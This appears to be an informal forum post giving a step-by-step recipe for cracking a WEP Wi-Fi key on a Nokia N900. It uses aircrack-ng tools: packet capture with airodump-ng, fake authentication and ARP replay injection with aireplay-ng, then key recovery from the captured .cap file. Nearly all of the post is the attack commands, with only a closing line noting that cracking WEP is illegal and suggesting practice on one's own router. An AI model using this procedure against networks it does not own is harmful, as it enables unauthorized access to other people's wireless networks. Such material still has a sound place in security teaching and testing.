hi this will work only if a client is conected on the network.
your bluethoot must be off
1- nokia n900 with prm 1.2
2-update your krenel to power krenel from dl sistem ( reboot )
2-instll aircrack-ng
3-install rootsh
4- oper xterminal type root and enter
5-airodump-ng wlan0 ( put on a paper bssid, station and chanel ) when you have this presc ctr+c
6-in the same window
airodump-ng -w wep -c [channel number] --bssid [bssid number] [wireless card name]
7-open a new xterminal windo type root and enter
8-aireplay-ng -1 0 -a [bssid] [wireless card name]
9-open the 3 rd windo type root and enter
aireplay-ng -3 -b [bssid] [wireless card name]
10- go on window 1 and wait til you got 50.000 data pack
11-when you have 50.000 data pack prec ctr+c ( in all windows)
12-go on 3 rd window and type
cd /root
ls
and now looke for a file with .cap (ezxtention .cap)
13-aircrack-ng [filename].cap and you will have your wep key
14- if you need space in root delete the.cap files.
cd /root
rm (name of the file)
example rm wep-01.cap
please note that is ilegale to crack wep keys ( play wit your roouter )
let me know if you manage to do it.